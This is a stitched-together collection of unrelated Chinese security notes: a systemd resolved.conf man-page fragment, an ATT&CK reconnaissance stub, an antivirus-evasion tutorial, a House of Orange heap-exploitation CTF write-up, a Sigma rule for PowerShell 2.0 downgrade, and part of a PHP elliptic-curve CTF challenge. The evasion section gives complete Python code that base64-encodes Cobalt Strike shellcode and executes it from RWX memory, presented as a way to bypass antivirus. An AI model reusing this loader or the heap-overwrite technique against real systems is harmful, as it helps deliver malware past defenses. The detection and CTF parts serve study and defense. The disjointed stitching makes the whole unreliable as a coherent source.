中 针对特定连接配置的任何DNS服务器的优先级都高于此选项中设置的DNS服务器, 也高于上述
\fIDNS=\fR
中设置的DNS服务器,同样也高于
/etc/resolv\&.conf
中设置的DNS服务器。 所以,此选项所设置的DNS服务器仅在实在找不到可用DNS的情况下才会被使用。 若未设置此选项,则使用程序内置的默认DNS服务器列表。
.RE
.PP
\fIDomains=\fR
.RS 4
一个空格分隔的域名列表。 在解析不含"\&."的域名时,将被用作域名后缀,以将这些域名转化为FQDN(全限定域名)。 这些后缀将会严格按照这里设置的顺序依次尝试,直到解析成功。 出于兼容性考虑,如果未设置此选项, 那么将使用
/etc/resolv\&.conf
中列出的搜索域(如果其中确实配置了搜索域的话)。 此选项的默认值为空。
.sp
如果指定的域名带有
"~"
前缀, 那么表示它不是一个搜索域,而是一个"路由专用域名",也就是仅用于将指定的域名查询请求 优先路由到上文
\fIDNS=\fR
设置的全局DNS服务器上去。 注意,如果不存在针对特定连接的DNS服务器,那么
"~"
语法没有任何实际效果。 特殊值
"~\&."
表示将所有DNS查询请求 优先路由到上文
\fIDNS=\fR
设置的全局DNS服务器上去 (前面的波浪号表示这是一个"路由专用域名",后面的点表示DNS根域名(也就是所有域名的后缀))。
.RE
.PP
\fILLMNR=\fR
.RS 4
必须设为
"resolve"
或布尔值。 控制本机对LLMNR(Link\-Local Multicast Name Resolution,
\m[blue]\fBRFC 4794\fR\m[]\&\s-2\u[1]\d\s+2)的支持。 设为 yes 表示完全支持 LLMNR responder 与 resolver ; 设为 no 表示彻底不支持 LLMNR ; 设为
"resolve"
表示仅支持 LLMNR resolver 而不支持 LLMNR responder ; 注意,
\fBsystemd-networkd.service\fR(8)
中还有针对特定连接的LLMNR设置。 对于某个特定的连接来说,LLMNR 将仅在针对该连接的设置与全局设置都开启的情况下,才会开启。
.RE
.PP
\fIDNSSEC=\fR
.RS 4
必须设为布尔值或特殊值
"allow\-downgrade"
。 设为 yes 表示使用 DNSSEC 机制检查所有 DNS 应答的有效性(多播DNS 与 LLMNR 除外)。 如果某个DNS应答被鉴定为无效, 那么上层应用将会得到一个"查询失败"的结果。 注意,这意味着 DNS 服务器必须支持 DNSSEC 。 如果某个 DNS 服务器不能正确支持 DNSSEC , 那么从该 DNS 服务器接收到的所有应答都将被视为无效应答。 设为
"allow\-downgrade"
表示: 如果某个 DNS 服务器不能正确支持 DNSSEC , 那么将不使用 DNSSEC 机制检查该 DNS 应答的有效性。 注意,这将导致 DNSSEC 机制形同虚设,从而造成安全漏洞。 设为 no 则表示彻底禁用 DNSSEC 机制。
.sp
注意,因为 DNSSEC 需要额外查询更多的DNS数据, 所以,开启此选项会减慢DNS查询速度。
.sp
DNSSEC requires knowledge of "trust anchors" to prove data integrity\&. The trust anchor for the Internet root domain is built into the resolver, additional trust anchors may be defined with
\fBdnssec-trust-anchors.d\fR(5)\&. Trust anchors may change at regular intervals, and old trust anchors may be revoked\&. In such a case DNSSEC validation is not possible until new trust anchors are configured locally or the resolver software package is updated with the new root trust anchor\&. In effect, when the built\-in trust anchor is revoked and
\fIDNSSEC=\fR
is yes, all further lookups will fail, as it cannot be proved anymore whether lookups are correctly signed, or validly unsigned\&. If
\fIDNSSEC=\fR
is set to
"allow\-downgrade"
the resolver will automatically turn off DNSSEC validation in such a case\&.
.sp
Client programs looking up DNS data will be informed whether lookups could be verified using DNSSEC, or whether the returned data could not be verified (either because the data was found unsigned in the DNS, or the DNS server did not support DNSSEC or no appropriate trust anchors were known)\&. In the latter case it is assumed that client programs employ a secondary scheme to validate the returned DNS data, should this be required\&.
.sp
It is recommended to set
\fIDNSSEC=\fR
to yes on systems where it is known that the DNS server supports DNSSEC correctly, and where software or trust anchor updates happen regularly\&. On other systems it is recommended to set
\fIDNSSEC=\fR
to
"allow\-downgrade"\&.
.sp
In addition to this global DNSSEC setting
\fBsystemd-networkd.service\fR(8)
also maintains per\-link DNSSEC settings\&. For system DNS servers (see above), only the global DNSSEC setting is in effect\&. For per\-link DNS servers the per\-link setting is in effect, unless it is unset in which case the global setting is used instead\&.
.sp
Site\-private DNS zones generally conflict with DNSSEC operation, unless a negative (if the private zone is not signed) or positive (if the private zone is signed) trust anchor is configured for them\&. If
"allow\-downgrade"
mode is selected, it is attempted to detect site\-private DNS zones using top\-level domains (TLDs) that are not known by the DNS root server\&. This logic does not work in all private zone setups\&.
.sp
默认值是 no
.RE
.PP
\fICache=\fR
.RS 4
必须设为布尔值。 默认值 "yes" 表示缓存先前已经解析成功的域名直到缓存过期,以避免重复查询。 注意,关闭缓存不但浪费网络流量,更容易造成访问延迟,尤其是在使用了DNSSEC的时候。
.sp
注意,对于IP地址为 127\&.0\&.0\&.1 或 ::1 之类的本机DNS来说,DNS缓存总是关闭的。 这样做是为了避免不必要的多次缓存。
.RE
.SH "参见"
.PP
\fBsystemd\fR(1),
\fBsystemd-resolved.service\fR(8),
\fBsystemd-networkd.service\fR(8),
\fBdnssec-trust-anchors.d\fR(5),
\fBresolv.conf\fR(4)
.SH "NOTES"
.IP " 1." 4
RFC 4794
.RS 4
\%https://tools.ietf.org/html/rfc4795
.RE
.\" manpages-zh translator: 金步国
.\" manpages-zh comment: 金步国作品集:http://www.jinbuguo.com
|
sec-knowleage
|
# T1591-002-收集目标组织信息-业务关系
## 来自ATT&CK的描述
攻击者可能会收集有关目标组织的业务关系信息,这些信息可在目标确定期间使用。有关组织业务关系的信息可能包括各种详细信息,包括已连接(并可能提升了)网络访问权限的第二或第三方组织或域(例如:托管服务提供商,承包商等)。此信息还可能揭示目标组织的硬件和软件资源的供应链和运送路径。
攻击者可以通过多种方式收集此信息,例如通过“网络钓鱼诱骗”直接诱捕。有关业务关系的信息也可能会通过在线或其他可访问的数据集(例如,社交媒体或目标组织拥有的网站)暴露给攻击者。
## 测试案例
例如受害者的个人社交信息,微博、微信、QQ等。
例如受害组织的上下游关系,比如母子公司关系。
## 检测日志
无
## 测试复现
无
## 测试留痕
无
## 检测规则/思路
无
## 建议
许多此类攻击活动的发生率很高,并且相关的误报率也很高,并且有可能发生在目标组织的监测范围之外,从而使防御者难以发现。
检测工作可能会集中在攻击生命周期的相关阶段,例如在"初始访问"阶段。
## 关联TIP
[[T1591-001-收集目标组织信息-确定物理位置]]
[[T1591-003-收集目标组织信息-确定业务节奏]]
[[T1591-004-收集目标组织信息-确定角色]]
## 参考推荐
MITRE-ATT&CK-T1591-002
<https://attack.mitre.org/techniques/T1591/002/>
|
sec-knowleage
|
# 免杀实验
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
## 加载器
**加载器 + base64**
cs 生成 Python shellcode x64
base64 加密 shellcode
```py
# coding=utf-8
import base64
shellcode = open('payload.py')
shellcode = shellcode.read()
s1=shellcode.find("\"")+1
s2=shellcode.rfind("\"")
shellcode= shellcode[s1:s2]
base64_shellcode = base64.b64encode(shellcode.encode('UTF-8'))
with open('base64.txt', 'wb') as shell:
shell.write(base64_shellcode)
print(base64_shellcode)
```
添加到加载器,加载器的大致原理就是申请一块内存,将代码字节存入该内存,然后开始运行该内存储存的程序,并让该程序一直运行下去。
```py
import base64
import codecs
import ctypes
shellcode = ""
shellcode = base64.b64decode(shellcode)
shellcode = codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(
ctypes.c_int(handle),
ctypes.c_int(-1)
)
```
- ctypes 库
python 的 ctypes 模块是内建,用来调用系统动态链接库函数的模块
使用 ctypes 库可以很方便地调用 C 语言的动态链接库,并可以向其传递参数。
```py
import ctypes
```
- 读取shellcode
将 shellcode 生成后,使用 base64 编码,后面操作是将代码写入内存,所以需要将代码解码并转为字节类型
```py
shellcode = ""
shellcode = base64.b64decode(shellcode)
shellcode = codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
```
- 设置返回类型
我们需要用 VirtualAlloc 函数来申请内存,返回类型必须和系统位数相同
想在 64 位系统上运行,必须使用 restype 函数设置 VirtualAlloc 返回类型为 ctypes.c_unit64,否则默认的是 32 位
```py
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
```
- 申请内存
调用 VirtualAlloc 函数,来申请一块动态内存区域,VirtualAlloc 函数原型和参数如下:
```py
LPVOID VirtualAlloc{
LPVOID lpAddress, # 要分配的内存区域的地址
DWORD dwSize, # 分配的大小
DWORD flAllocationType, # 分配的类型
DWORD flProtect # 该内存的初始保护属性
};
```
申请一块内存可读可写可执行
```py
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# ctypes.c_int(0) 是 NULL,系统将会决定分配内存区域的位置,并且按 64KB 向上取整
# ctypes.c_int(len(shellcode)) 以字节为单位分配或者保留多大区域
# ctypes.c_int(0x3000) 是 MEM_COMMIT(0x1000) 和 MEM_RESERVE(0x2000) 类型的合并
# ctypes.c_int(0x40) 是权限为 PAGE_EXECUTE_READWRITE 该区域可以执行代码,应用程序可以读写该区域。
```
- 将 shellcode 载入内存
调用 RtlMoveMemory 函数,此函数从指定内存中复制内容至另一内存里。RtlMoveMemory 函数原型和参数如下:
```py
RtlMoveMemory(Destination,Source,Length);
Destination # 指向移动目的地址的指针。
Source # 指向要复制的内存地址的指针。
Length # 指定要复制的字节数。
```
从指定内存地址将内容复制到我们申请的内存中去,shellcode 字节多大就复制多大
```py
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
```
- 创建进程
调用 CreateThread 将在主线程的基础上创建一个新线程, CreateThread 函数原型和参数如下:
```py
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes, # 线程安全属性
SIZE_T dwStackSize, # 置初始栈的大小,以字节为单位
LPTHREAD_START_ROUTINE lpStartAddress, # 指向线程函数的指针
LPVOID lpParameter, # 向线程函数传递的参数
DWORD dwCreationFlags, # 线程创建属性
LPDWORD lpThreadId # 保存新线程的id
)
```
创建一个线程从 shellcode 放置位置开始执行
```py
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
# lpThreadAttributes 为 NULL 使用默认安全性
# dwStackSize 为 0,默认将使用与调用该函数的线程相同的栈空间大小
# lpStartAddress 为 ctypes.c_uint64(ptr),定位到申请的内存所在的位置
# lpParameter 不需传递参数时为 NULL
# dwCreationFlags 属性为 0,表示创建后立即激活
# lpThreadId 为 ctypes.pointer(ctypes.c_int(0)) 不想返回线程 ID, 设置值为 NULL
```
- 等待线程结束
调用 WaitForSingleObject 函数用来检测线程的状态, WaitForSingleObject 函数原型和参数如下:
```py
DWORD WINAPI WaitForSingleObject(
__in HANDLE hHandle, # 对象句柄。可以指定一系列的对象
__in DWORD dwMilliseconds # 定时时间间隔
);
```
等待创建的线程运行结束
```py
ctypes.windll.kernel32.WaitForSingleObject(
ctypes.c_int(handle),
ctypes.c_int(-1)
)
```
这里两个参数,一个是创建的线程,一个是等待时间
- 当线程退出时会给出一个信号,函数收到后会结束程序。
- 当时间设置为0或超过等待时间,程序也会结束,所以线程也会跟着结束。
正常的话我们创建的线程是需要一直运行的,所以将时间设为负数,等待时间将成为无限等待,程序就不会结束。
---
## Source & Reference
- [免杀 - shellcode简单混淆BypassAv](https://mp.weixin.qq.com/s/LkOmSNw7YgD7yfXkIrofHQ)
- [CS免杀-Shellcode Loader原理(python)](https://mp.weixin.qq.com/s/-WcEW1aznO2IuCezkCe9HQ)
- [CS免杀-环境和编码补充(python)](https://mp.weixin.qq.com/s/_uMFatf4_yfGit-Xu7Ml9A)
|
sec-knowleage
|
### House of Orange介绍
House of Orange与其他的House of XX利用方法不同,这种利用方法来自于Hitcon CTF 2016中的一道同名题目。由于这种利用方法在此前的CTF题目中没有出现过,因此之后出现的一系列衍生题目的利用方法我们称之为House of Orange。
### House of Orange概述
House of Orange的利用比较特殊,首先需要目标漏洞是堆上的漏洞但是特殊之处在于题目中不存在free函数或其他释放堆块的函数。我们知道一般想要利用堆漏洞,需要对堆块进行malloc和free操作,但是在House of Orange利用中无法使用free函数,因此House of Orange核心就是通过漏洞利用获得free的效果。
### House of Orange原理
如我们前面所述,House of Orange的核心在于在没有free函数的情况下得到一个释放的堆块(unsorted bin)。
这种操作的原理简单来说是当前堆的top chunk尺寸不足以满足申请分配的大小的时候,原来的top chunk会被释放并被置入unsorted bin中,通过这一点可以在没有free函数情况下获取到unsorted bins。
我们来看一下这个过程的详细情况,我们假设目前的top chunk已经不满足malloc的分配需求。
首先我们在程序中的`malloc`调用会执行到libc.so的`_int_malloc`函数中,在`_int_malloc`函数中,会依次检验fastbin、small bins、unsorted bin、large bins是否可以满足分配要求,因为尺寸问题这些都不符合。接下来`_int_malloc`函数会试图使用top chunk,在这里top chunk也不能满足分配的要求,因此会执行如下分支。
```
/*
Otherwise, relay to handle system-dependent cases
*/
else {
void *p = sysmalloc(nb, av);
if (p != NULL && __builtin_expect (perturb_byte, 0))
alloc_perturb (p, bytes);
return p;
}
```
此时ptmalloc已经不能满足用户申请堆内存的操作,需要执行sysmalloc来向系统申请更多的空间。
但是对于堆来说有mmap和brk两种分配方式,我们需要让堆以brk的形式拓展,之后原有的top chunk会被置于unsorted bin中。
综上,我们要实现brk拓展top chunk,但是要实现这个目的需要绕过一些libc中的check。
首先,malloc的尺寸不能大于`mmp_.mmap_threshold`
```
if ((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))
```
如果所需分配的 chunk 大小大于 mmap 分配阈值,默认为 128K,并且当前进程使用 mmap()分配的内存块小于设定的最大值,将使用 mmap()系统调用直接向操作系统申请内存。
在sysmalloc函数中存在对top chunk size的check,如下
```
assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse(old_top) &&
((unsigned long)old_end & pagemask) == 0));
```
这里检查了top chunk的合法性,如果第一次调用本函数,top chunk可能没有初始化,所以可能old_size为0。
如果top chunk已经初始化了,那么top chunk的大小必须大于等于MINSIZE,因为top chunk中包含了 fencepost,所以top chunk的大小必须要大于MINSIZE。其次top chunk必须标识前一个chunk处于inuse状态,并且top chunk的结束地址必定是页对齐的。此外top chunk除去fencepost的大小必定要小于所需chunk的大小,否则在_int_malloc()函数中会使用top chunk分割出chunk。
我们总结一下伪造的top chunk size的要求
1. 伪造的size必须要对齐到内存页
2. size要大于MINSIZE(0x10)
3. size要小于之后申请的chunk size + MINSIZE(0x10)
4. size的prev inuse位必须为1
之后原有的top chunk就会执行`_int_free`从而顺利进入unsorted bin中。
### House of Orange示例
这里给出了一个示例程序,程序模拟了一个溢出覆盖到top chunk的size域。我们试图把size改小从而实现brk扩展,并把原有的top chunk放入unsorted bin中。
```
#include <stdlib.h>
#define fake_size 0x41
int main(void)
{
void *ptr;
ptr=malloc(0x10);
ptr=(void *)((long long)ptr+24);
*((long long*)ptr)=fake_size; // overwrite top chunk size
malloc(0x60);
malloc(0x60);
}
```
这里我们把top chunk的size覆盖为0x41。之后申请大于这个尺寸的堆块,即0x60。
但是当我们执行这个示例时会发现,这个程序并不能利用成功,原因在于assert并没有被满足从而抛出了异常。
```
[#0] 0x7ffff7a42428 → Name: __GI_raise(sig=0x6)
[#1] 0x7ffff7a4402a → Name: __GI_abort()
[#2] 0x7ffff7a8a2e8 → Name: __malloc_assert(assertion=0x7ffff7b9e150 "(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)", file=0x7ffff7b9ab85 "malloc.c", line=0x95a, function=0x7ffff7b9e998 <__func__.11509> "sysmalloc")
[#3] 0x7ffff7a8e426 → Name: sysmalloc(nb=0x70, av=0x7ffff7dd1b20 <main_arena>)
```
### House of Orange正确的示例
我们回头来看一下assert的条件,可以发现之前列出的条目都被满足了除了第一条。
```
1.伪造的size必须要对齐到内存页
```
什么是对齐到内存页呢?我们知道现代操作系统都是以内存页为单位进行内存管理的,一般内存页的大小是4kb。那么我们伪造的size就必须要对齐到这个尺寸。在覆盖之前top chunk的size大小是20fe1,通过计算得知0x602020+0x20fe0=0x623000是对于0x1000(4kb)对齐的。
```
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000020fe1 <== top chunk
0x602030: 0x0000000000000000 0x0000000000000000
```
因此我们伪造的fake_size可以是0x0fe1、0x1fe1、0x2fe1、0x3fe1等对4kb对齐的size。而0x40不满足对齐,因此不能实现利用。
```
#include <stdlib.h>
#define fake_size 0x1fe1
int main(void)
{
void *ptr;
ptr=malloc(0x10);
ptr=(void *)((long long)ptr+24);
*((long long*)ptr)=fake_size;
malloc(0x2000);
malloc(0x60);
}
```
进行分配之后我们可以观察到原来的堆经过了brk扩展
```
//原有的堆
0x0000000000602000 0x0000000000623000 0x0000000000000000 rw- [heap]
//经过扩展的堆
0x0000000000602000 0x0000000000646000 0x0000000000000000 rw- [heap]
```
我们的申请被分配到0x623010的位置,同时原有的堆被置入unsorted bin
```
[+] unsorted_bins[0]: fw=0x602020, bk=0x602020
→ Chunk(addr=0x602030, size=0x1fc0, flags=PREV_INUSE)
```
因为unsorted bin中存在块,所以我们下次的分配会切割这个块
```
malloc(0x60);
0x602030
[+] unsorted_bins[0]: fw=0x602090, bk=0x602090
→ Chunk(addr=0x6020a0, size=0x1f50, flags=PREV_INUSE)
```
可以看到分配的内存是从unsorted bin中切割的,内存布局如下
```
0x602030: 0x00007ffff7dd2208 0x00007ffff7dd2208 <== 未被清零的unsorted bin链表
0x602040: 0x0000000000602020 0x0000000000602020
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000001f51 <== 切割剩下的新unsorted bin
0x6020a0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x6020b0: 0x0000000000000000 0x0000000000000000
```
其实house of orange的要点正在于此,之后的利用因为涉及到_IO_FILE的知识,放到IO_FILE独立章节分享。
|
sec-knowleage
|
# T1059-001-win-检测Powershell2.0版本执行情况
## 来自ATT&CK的描述
攻击者可能滥用PowerShell来执行命令和脚本。PowerShell是Windows操作系统中包含的功能强大的交互式命令行界面和脚本环境。攻击者可以使用PowerShell执行许多操作,包括发现信息和执行恶意代码。示例包括Start-Process可用于运行可执行文件的Invoke-Commandcmdlet和可在本地或远程计算机上运行命令的cmdlet(尽管使用PowerShell连接到远程系统需要管理员权限)。
PowerShell也可以用于从Internet下载并运行可执行文件,这些可执行文件可以从磁盘或内存中执行而无需接触磁盘。
许多基于PowerShell的攻击性测试工具,包括Empire,PowerSploit,PoshC2和PSAttack。
还可以执行PowerShell命令脚本,而无需通过.NET框架和Windows公共语言接口(CLI)公开的powershell.exePowerShell底层System.Management.Automation程序集DLL的接口直接调用二进制文件。
## 测试案例
查找PowerShell版本2.0的执行情况,而不是查找使用版本2的旧脚本,或查找试图从脚本日志记录和AMSI中隐藏的攻击者。
### Powershell v2.0
该版本较旧且不安全,在安装版本5时不会删除。如果未被删除,攻击者仍可以利用这个不安全的版本。(powershell.exe -Version 2.0 -Command {<block>} -ExecutionPolicy <ExecutionPolicy>)
## 检测日志
Windows powershell日志审核策略
- 按Win+R打开Windows运行窗口,在输入框里输入gepdit.msc,打开Windows本地组策略编辑器;
- 找到计算机配置/管理模板/Windows组件/Windows Powershell,根据需求打开右侧所需要的日志功能;
## 测试复现
```yml
Microsoft Windows [版本 10.0.14393]
(c) 2016 Microsoft Corporation。保留所有权利。
C:\Users\12306br0>powershell -v 2
未安装 .NET Framework 版本 v2.0.50727,运行 Windows PowerShell 版本 2 需要此版本的 .NET Framework。
```
## 测试留痕
```yml
事件ID:4688
已创建新进程。
创建者主题:
安全 ID: 361A\12306br0
帐户名: 12306br0
帐户域: 361A
登录 ID: 0x507DC
目标主题:
安全 ID: NULL SID
帐户名: -
帐户域: -
登录 ID: 0x0
进程信息:
新进程 ID: 0x1158
新进程名称: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
令牌提升类型: %%1938
强制性标签: Mandatory Label\Medium Mandatory Level
创建者进程 ID: 0x17cc
创建者进程名称: C:\Windows\System32\cmd.exe
进程命令行: powershell -v 2
“令牌提升类型”表示根据用户帐户控制策略分配给新进程的令牌类型。
类型 1 是未删除特权或未禁用组的完全令牌。完全令牌仅在禁用了用户帐户控制或者用户是内置管理员帐户或服务帐户的情况下使用。
类型 2 是未删除特权或未禁用组的提升令牌。当启用了用户帐户控制并且用户选择使用“以管理员身份运行”选项启动程序时,会使用提升令牌。当应用程序配置为始终需要管理特权或始终需要最高特权并且用户是管理员组的成员时,也会使用提升令牌。
类型 3 是删除了管理特权并禁用了管理组的受限令牌。当启用了用户帐户控制,应用程序不需要管理特权并且用户未选择使用“以管理员身份运行”选项启动程序时,会使用受限令牌。
```
## 检测规则/思路
### sigma规则
```yml
title: 检测PowerShell 2.0版本执行情况
status: experimental
description: 检测在powershell降级使用,windows server 2016测试
tags:
- attack.t1059-001
- attack.execution
logsource:
category: process_creation
product: windows
detection:
selection:
Image:
- '*\powershell.exe'
- '*\powershell_ise.exe'
CommandLine:
- '-v 2'
- '-v 2.0'
- '-version 2'
- '-version 2.0'
condition: selection
level: medium
```
### 建议
可使用windows安全日志、Powershell日志、Sysmon日志进行检测。
## 参考推荐
MITRE-ATT&CK-T1059-001
<https://attack.mitre.org/techniques/T1059/001/>
检测和缓解PowerShell攻击的方法
<https://blog.csdn.net/qq_36334464/article/details/101519839>
PowerShell版本2.0执行
<https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Execution/powershell-version-2.0-execution.md>
Powershell与威胁狩猎
<https://www.freebuf.com/articles/terminal/267080.html>
|
sec-knowleage
|
<?php
function point($x = 0, $y = 0){
return array('x' => $x, 'y' => $y);
}
$P = gmp_init("0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF");
$A = gmp_init("0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC");
$B = gmp_init("0x5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B");
$N = gmp_init("0xFFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551");
$SECRET_KEY = gmp_import(file_get_contents('secret_key.txt'));
$G = point(
"0x6B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296",
"0x4FE342E2FE1A7F9B8EE7EB4A7C0F9E162BCE33576B315ECECBB6406837BF51F5"
);
function is_identity_element($p){
return gmp_cmp($p['x'], 0) == 0 and gmp_cmp($p['y'], 0) == 0;
}
function decompress($x){
global $P, $A, $B;
$y2 = gmp_mod(gmp_add(gmp_mul(gmp_add(gmp_mul($x, $x), $A), $x), $B), $P);
$potential_y = gmp_powm($y2, gmp_div(gmp_add($P, 1), 4), $P);
if (gmp_cmp(gmp_mod(gmp_mul($potential_y, $potential_y), $P), $y2) !=0 )
return point();
return point($x, $potential_y);
}
function force_decompress($x){
while(true){
$result = decompress($x);
if (!is_identity_element($result))
return $result;
$x = gmp_add($x, 1);
}
}
function add_point($p, $q){
global $P, $A;
if (is_identity_element($p))
return $q;
if (is_identity_element($q))
return $p;
if ($p['x'] == $q['x']){
if (gmp_cmp($p['y'], $q['y']) != 0)
return point();
$lambda = gmp_mod(gmp_mul(
gmp_add(gmp_mul(3, gmp_mul($p['x'], $p['x'])), $A),
gmp_invert(gmp_add($p['y'], $p['y']), $P)
), $P);
}
else
$lambda = gmp_mod(gmp_mul(
gmp_sub($q['y'], $p['y']),
gmp_invert(gmp_sub($q['x'], $p['x']), $P)
), $P);
$rx = gmp_mod(gmp_sub(gmp_mul($lambda, $lambda), gmp_add($p['x'], $q['x'])), $P);
$ry = gmp_mod(gmp_sub(gmp_mul($lambda, gmp_sub($p['x'], $rx)), $p['y']), $P);
return point($rx, $ry);
}
function multiply_point($p, $n){
$n_as_bits = gmp_strval($n, 2);
$result = point();
foreach(str_split($n_as_bits) as $bit){
$result = add_point($result, $result);
$added = add_point($result, $p);
if ($bit == '1')
$result = $added;
}
return $result;
}
function selftest(){
global $G, $N;
print("Testing generator and order\n");
$res = multiply_point($G, $N);
print("X: " . gmp_strval($res['x'], 16) . "\n");
print("Y: " . gmp_strval($res['y'], 16) . "\n");
print("Testing decompression\n");
$res = decompress($G['x']);
print("Original Y: " . gmp_strval($G['y'], 16) . "\n");
print("Decompressed Y: " . gmp_strval($res['y'], 16) . "\n");
$res = decompress(10);
print("Invalid Decompressed point: " . gmp_strval($res['x'], 16) . " " . gmp_strval($res['y'], 16) . "\n");
}
function encrypt_db(){
global $SECRET_KEY, $G;
$db = explode("\n", file_get_contents("all_passwords.txt"));
$db_fc = array();
$counter = 0;
foreach($db as $db_entry){
if ($db_entry == "")
continue;
$first_char = $db_entry[0];
if (!isset($db_fc[$first_char]))
$db_fc[$first_char] = "";
$point = force_decompress(gmp_import($db_entry));
$point = multiply_point($point, $SECRET_KEY);
$x = gmp_strval($point['x'], 16);
$y = gmp_strval($point['y'], 16);
$db_fc[$first_char] .= "['$x', '$y'],\n";
++$counter;
if ($counter%100 == 0){
print("$counter\n");
}
}
foreach($db_fc as $k => $v){
file_put_contents("pwdb/pw_${k}.db", "${v}[0,0]");
}
}
function pw_result($pw_first, $encpw_x, $encpw_y){
global $SECRET_KEY, $P;
$fc = $pw_first[0];
$db = file_get_contents("pwdb/pw_${fc}.db");
$x = gmp_mod(gmp_init("0x$encpw_x"), $P);
$y = gmp_mod(gmp_init("0x$encpw_y"), $P);
$point = multiply_point(point($x, $y), $SECRET_KEY);
$x = gmp_strval($point['x'], 16);
$y = gmp_strval($point['y'], 16);
print("continue_check({\n'x': '$x',\n'y': '$y',\n'pws': [$db]\n});");
}
function main_page(){
?>
<HTML>
<HEAD><TITLE>Have you been OWNED?</TITLE>
<SCRIPT type="application/javascript" src="BigInteger.js"></SCRIPT>
<SCRIPT type="application/javascript">
function point(x = 0, y = 0){
if ((typeof x) == "string")
x = bigInt(x, 16);
if ((typeof y) == "string")
y = bigInt(y, 16);
return {'x': bigInt(x), 'y': bigInt(y)};
}
P = bigInt("FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF", 16);
G = point(
"6B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296",
"4FE342E2FE1A7F9B8EE7EB4A7C0F9E162BCE33576B315ECECBB6406837BF51F5"
);
A = bigInt("FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC", 16);
B = bigInt("5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B", 16);
N = bigInt("FFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551", 16);
function is_identity_element(p){
return p.x.eq(0) && p.y.eq(0);
}
function decompress(x){
y2 = x.multiply(x).add(A).multiply(x).add(B).mod(P);
potential_y = y2.modPow(P.add(1).divide(4), P);
if (!potential_y.multiply(potential_y).mod(P).eq(y2))
return point();
return point(x, potential_y);
}
function force_decompress(x){
while(true){
result = decompress(x);
if (!is_identity_element(result))
return result;
x = x.add(1);
}
}
function add_point(p, q){
var lambda;
if (is_identity_element(p))
return q;
if (is_identity_element(q))
return p;
if (p.x.eq(q.x)){
if (! p.y.eq(q.y))
return point();
lambda =
p.x.multiply(p.x).multiply(3).add(A)
.multiply(
p.y.add(p.y).modInv(P)
).mod(P);
}
else
lambda =
q.y.subtract(p.y).add(P)
.multiply(
q.x.subtract(p.x).add(P).modInv(P)
).mod(P)
var rx = lambda.multiply(lambda).subtract(p.x).subtract(q.x).add(P).mod(P);
var ry = lambda.multiply(p.x.subtract(rx).add(P)).subtract(p.y).add(P).mod(P);
return point(rx, ry);
}
function multiply_point(p, n){
var n_as_bits = n.toArray(2).value;
var result = point();
for (index = 0; index < n_as_bits.length; ++index) {
result = add_point(result, result);
added = add_point(result, p);
if (n_as_bits[index] == 1)
result = added;
}
return result;
}
function selftest(){
console.log("Running selftest");
res = multiply_point(G, N.subtract(1));
console.log("-G", ! is_identity_element(res));
res = multiply_point(G, N);
console.log("Identity", is_identity_element(res));
console.log("Decompressed G", decompress(G.x).y.eq(G.y));
console.log("Decompressed invalid", is_identity_element(decompress(bigInt(10))));
}
function to_hex(s) {
var result = '';
for(var i = 0; i < s.length; i++) {
